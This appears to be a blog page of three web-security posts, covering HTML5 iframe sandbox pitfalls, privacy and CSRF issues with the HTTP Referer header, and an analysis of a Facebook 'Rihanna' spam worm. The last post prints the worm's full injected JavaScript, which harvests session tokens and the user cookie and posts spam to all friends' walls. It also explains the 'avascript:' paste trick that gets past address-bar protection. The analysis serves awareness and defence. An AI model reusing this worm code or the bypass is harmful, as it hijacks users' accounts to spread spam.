HTML5 Sandbox and some notes

While building mashups, one of the primary goals is to securely isolate content coming from different origins. Generally, client side mashups are built in one of the two ways-(1) Embedding third party scripts in a web page (2) Loading remote content via iframes. Embedding scripts provides more interactivity but dilutes security since the scripts run with full privileges and could be malicious. Using iframes reduces interactivity but enhances security since they isolate content via same-origin-policy (Script inside a cross-origin iframe cannot access DOM of parent page).

[Note: By chance if you are wondering why you should bother about mashups since you have never built them, you are mistaken. If you are embedding scripts for website analytics, social plugins (Like, Tweet, +1 etc.), advertisements, comments system (e.g., Disqus) and so on, you are already having a mashup!]

Though iframes follow same-origin-policy and provide security in some sense, they are well known for their notorious activities like frame phishing, top window redirection, clickjacking, triggering drive by downloads etc. The “sandbox” attribute for iframes which is introduced in HTML5 promises to thwart the problems caused by iframes. Sandbox is currently supported only in Internet Explorer 10, Chrome 17+.

A sandboxed iframe by default disables script, popups, form submissions, top navigation etc. Some of the restrictions can be relaxed by specifying space separated white list tokens (allow-forms, allow-scripts, allow-same-origin, allow-top-navigation).

<iframe sandbox src=""></iframe>
<iframe sandbox="allow-forms allow-scripts allow-same-origin allow-top-navigation"

The details about sandbox and its white list tokens are discussed in several blogs, hence purposefully omitting it here. One interesting feature in sandbox is, when a sandboxed iframe loads content from the same origin as the parent document, the loaded content is still treated as if it originated from cross origin, thereby reducing its script privileges. This restriction can be removed by using the token “allow-same-origin”.

Below are some of the cases where developers have to be cautious while using sandbox.

Disabling Clickjacking Defense:

Even till date, several sites rely on JavaScript based frame busting defense to get rid of clickjacking (X-Frame-Options response header is a better defense, but unfortunately has lesser implementation). Such sites when embedded in a sandboxed iframe are greatly affected. Since sandbox disables JavaScript, the clickjacking protection used in the framed site is lost, hence back to square one!

Allow-scripts and Allow-same-origin combination:

This combination of tokens is a little tricky and could negate the effect  of sandbox. The “allow-scripts” token enables JavaScript inside iframe and the “allow-same-origin” token will give the iframe complete privileges to access DOM of the parent. So if the embedded iframe has a vulnerable input field, script can be injected to remove the “sandbox” attribute altogether and then carry further exploits. Thus the security benefits of sandbox can be removed completely.

Effect on Nested Browsing Contexts:

If a webpage has nested browsing contexts (page containing an iframe which in turn loads another iframe), then reasoning about the effect of sandbox tokens becomes complicated. Let us consider the scenario in the image on the right below-a parent page has an iframe to a page (Child1) with "allow-scripts" sandbox token. Child1 loads another iframe which points to Child2 having "allow-forms" token. At a quick glance, developers may conclude that the innermost page will have both forms and scripts allowed, but it is on the contrary. The inner page has everything disabled and for a good reason! The child1 frame has forms disabled and it will overwrite the "allow-forms" of Child2. Also, Child1 has scripts enabled but Child2 has them disabled. Hence it does not allow script execution. So it is advisable not to manipulate sandbox tokens dynamically, since it is difficult to reason about the after effects on sandbox restrictions.

DEMOS: Click the images for demos (Source at: )

Sandbox demo 1

Sandbox demo 2










In the first demo, there is an iframe with JS based clickjacking protection and by default sandbox option is selected. You can see the clickjacking defense by selecting “normal frame”. So this shows how sandbox defeats JS based clickjacking defense. Also in the same demo you can select “allow-scripts” and “allow-same-origin” optons and inject the snippets provided below the page into the XSS vulnerable page.

In the second demo, inspect the iframes and load them independently in different windows and to see the effect of sandbox tokens in nested browsing contexts.

Hope the article provided some useful information about HTML5 Iframe Sandbox and its secure usage. Feel free to get back with queries or please share aspects which you feel interesting about Sandbox. Happy coding Smile

What web devs should know about HTTP ”Referer” header

Every HTTP request has a set of Request Headers which carry pieces of useful information from the client to the server. One such request header is the "Referer" header, which contains address of the previous page from which the current page was requested.

E.g., If you search for "HTML5" on google and click on the first result (link to wikipedia's page), you would be navigated to Wikipedia's HTML5 page and the "Referer" header contains the address of the previous page (i.e., google's search results page). Check the details in the below screenshot of IE9 F12 toolbar.


Over the years, “Referer” header (actual spelling should be “Referrer”, but it was misspelt in specs itself :p) has been used in several useful scenarios.

Fun with referrer:

By using “document.referrer” property in JavaScript, the address stored in referer header can be read. Using this web pages of Web 1.0 era displayed welcome messages, special offers, redirected to personalized landing pages etc.

if (document.referrer != ''){
alert('Hey! Welcome from '+ document.referrer);

CSRF protection:

Cross Site Request Forgery (CSRF) is a well known web based attack using which an attacker can make requests on behalf of the user. Leveraging CSRF, an attacker can construct GET/POST requests in a web page and make the victim open the page.

<!-- If this image tag is injected, it generates the below dangerous GET request -->
<img src=""/>

To defend against CSRF, the server has to differentiate between HTTP requests originating from a genuine user’s page vs an attacker’s page. Protecting against CSRF is a well explored area and it has several defenses such as using secret validation tokens, custom headers, Referer header etc. In most cases, the Referer header is used to check if the request is from the expected domain and not from attacker’s domain.

However, security experts have shown that referer headers can be easily stripped (Kotowicz’s demo) in all browsers and hence majority of CSRF defenses depending on referer header will fail.

Privacy Concerns:

In the era of social networks and personalization, data has become the currency of the web. By looking at the referer header, advertisements can learn from which page a user has visited the current page and provide more relevant ads. This means the browsing habits of users are being exposed to the cloud (Watch this Defcon video- How our Browser history is leaking into the cloud).

Till recently, Facebook exposed user’s unique Id in Referer header which caused serious concerns. Sites which are too concerned about privacy prefer to strip referer header and stay safe.

Damn! What web developers frequently use in their requirements is in fact not a recommended practice! Solutions are coming up!

Origin Header:

Researchers at Stanford Web security lab proposed that a new header called Origin Header should be used to uniquely identify requests. It is different from Referer header in that it just contains the origin (scheme://host: port) and not the entire address of the previous page. So this removes the privacy concern and can be used as protection against CSRF.

As far as I’ve seen, Origin header is implemented in Firefox, Chrome as an experimental feature and needs standardization (needs further verification).

Noreferrer: HTML5 introduces a new link type attribute called “noreferrer”. When an anchor tag is decorated with “rel=noreferrer” attribute, the pages which follow the hyperlink will not include referrer information in the header. This would pull down the privacy problem caused by Referer header. As of now, no browser supports this ‘noreferrer’ attribute.

So, the take away is, HTTP Referer header may be a handy option but it bears its own security and privacy problems and hence should be evaluated carefully. Instead, Origin header would be an ideal solution which would cater to the needs of web developers, respecting security and privacy.

Analyzing the new “Rihanna” Facebook spam

rihanna-7Some of you might have seen a fast spreading spam on Facebook with the name “Rihanna” (named after the popular singer/recording artist), as in the screen shot. We have been seeing several spam messages on Facebook these days and it appears this is yet another social engineering trick by spammers.

However, the speed at which it is spreading definitely boasts about the good success rate of the spam and to its credit, this “wall flooding” spam has some interesting technical learning.

1. This is not based on Clickjacking, though a non-clickable video icon appears misleading.

2. Unlike many spams, this does not leave and navigate to a new domain. It spreads through facebook pages itself, which is convincing.

3. It lures the user to paste code in browser’s address bar convincingly (old wine in new bottle).

Overview: On clicking the spam post (link is in the above screenshot), the user will be redirected to attacker’s facebook page as shown in the screenshots below. Initially a youtube like video appears (this is a “.swf” file which plays the key role). After a few seconds, It changes itself into a “security check” text with “continue” button as in the pic. On clicking the “continue” button, the 3 convincing instructions appear, following which a malicious JavaScript is injected into the active window. The injected malicious script posts the above message and obscene images on the wall of ALL friends of the user!


Technical details:

Once the user follows all the instructions, the JavaScript snippet shown below is injected into the browser, which has “src” attribute pointing to the actual malicious .js file (masked the url in the screenshot & snippet). In fact, this is a commonly used technique for creating bookmarklets and adding them to your browser’s bookmarklet toolbar. When used maliciously for attracting users to perform undesirable action, it is referred to as “Socially engineered XSS attack”. 


This .js file has the logic for doing all the harm but there doesn’t end the matter. The unanswered questions are, how did this script get into user’s clipboard? The user never copied any code snippet manually and browsers’ sandbox model doesn’t allow cross domain JavaScript to access clipboard without explicit permission. Also, what is the need for the inquisitive instruction “Press J on your keyboard”?

1. On analyzing the source of the above facebook page using browser developer tool bars (IE Dev toolbar, Firebug etc), one can see an iframe which points to attacker’s external website (looks like the attacker maintains several malicious domains).

2. Now, inspecting the source of the attacker’s external webpage shows that it embeds a flash (.swf) file which mimics genuine youtube video.

3. Going a step further, inspecting the source of this “.swf” file (using one of the online flash decompilers) gives the code which does the actual harm! It has a timer which changes the youtube like image to the security check screen. On clicking the “continue” button, the below action script is triggered, which intuitively sets text to clipboard.

//This is action script code from attacker's ".swf" file.
on (release) {

Notice the first word of the text which is being set into the clipboard, “avascript:”. It is NOT a typo. It should actually be “javascript:” but the letter “j” is omitted for a rather compelling reason!

“JavaScript:” prefix and modern browsers:

Much to the annoyance of spammers, modern browsers implemented a less known but very interesting security feature. Any code with “JavaScript:” prefix pasted into the address bar will get the prefix stripped off, thereby preventing script execution. Internet Explorer 9 pioneered this and recently other browser vendors came up with their own implementations.

//Copy this JavaScript snippet, open IE9 and paste in address bar.
//You will notice that the "javascript:" prefix will be magically stripped off!

Coming back to the “.swf” file, to bypass the above browser defense mechanism in some popular browsers, the letter “J” of JavaScript is omitted while setting the script to clipboard. So the spammers cleverly asked the users to first press the letter “J” and then press “Ctrl+V” and hit enter. This completes the full snippet with “javascript:” prefix thereby bypassing prefix stripping. Isn’t this smart? Though this extra step is expected to reduce success rate of attacks, it somewhat increased the curiosity of users.

NOTE: Internet Explorer 9 doesn't even allow combinations like typing "j" and pasting "avascript:alert('hi');" in the address bar. So this attack will fail in IE9! YaY!!

Chrome 16.0.912.41 in my machine strips the "javascript:" prefix when "javascript:alert('hi');" is pasted directly, but allows typing "j" and pasting "avascript:alert('hi');".

For the curious folks, here is the entire JavaScript code injected by the attack. It executes in the context of user’s facebook window with full previleges!

var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u2qr0v_15&xhpc_targetid=' + friends[i]['uid'] + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=Oh%20my%20god%2Ccheck%20this&xhpc_message=Oh%20my%20god%2Ccheck%20this&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320585896&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '&';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
document['getElementById']('contentArea')['innerHTML'] = '<center><br><br><br><br><br><img src="" /><br />Please wait...</center>';
setTimeout('top.location=\'\';', 20000);

There are several variants of this spam residing at different URLs in facebook pages. Facebook has been blocking these variants one by one and by the time of writing this post even the url in the pic is blocked.

Hope this article helped in understanding how spammers think and gave a feel of the damage that can be done by simple games/apps on the web, if you are not careful. Do share this with your friends and increase awareness.

Happy & secure browsing :)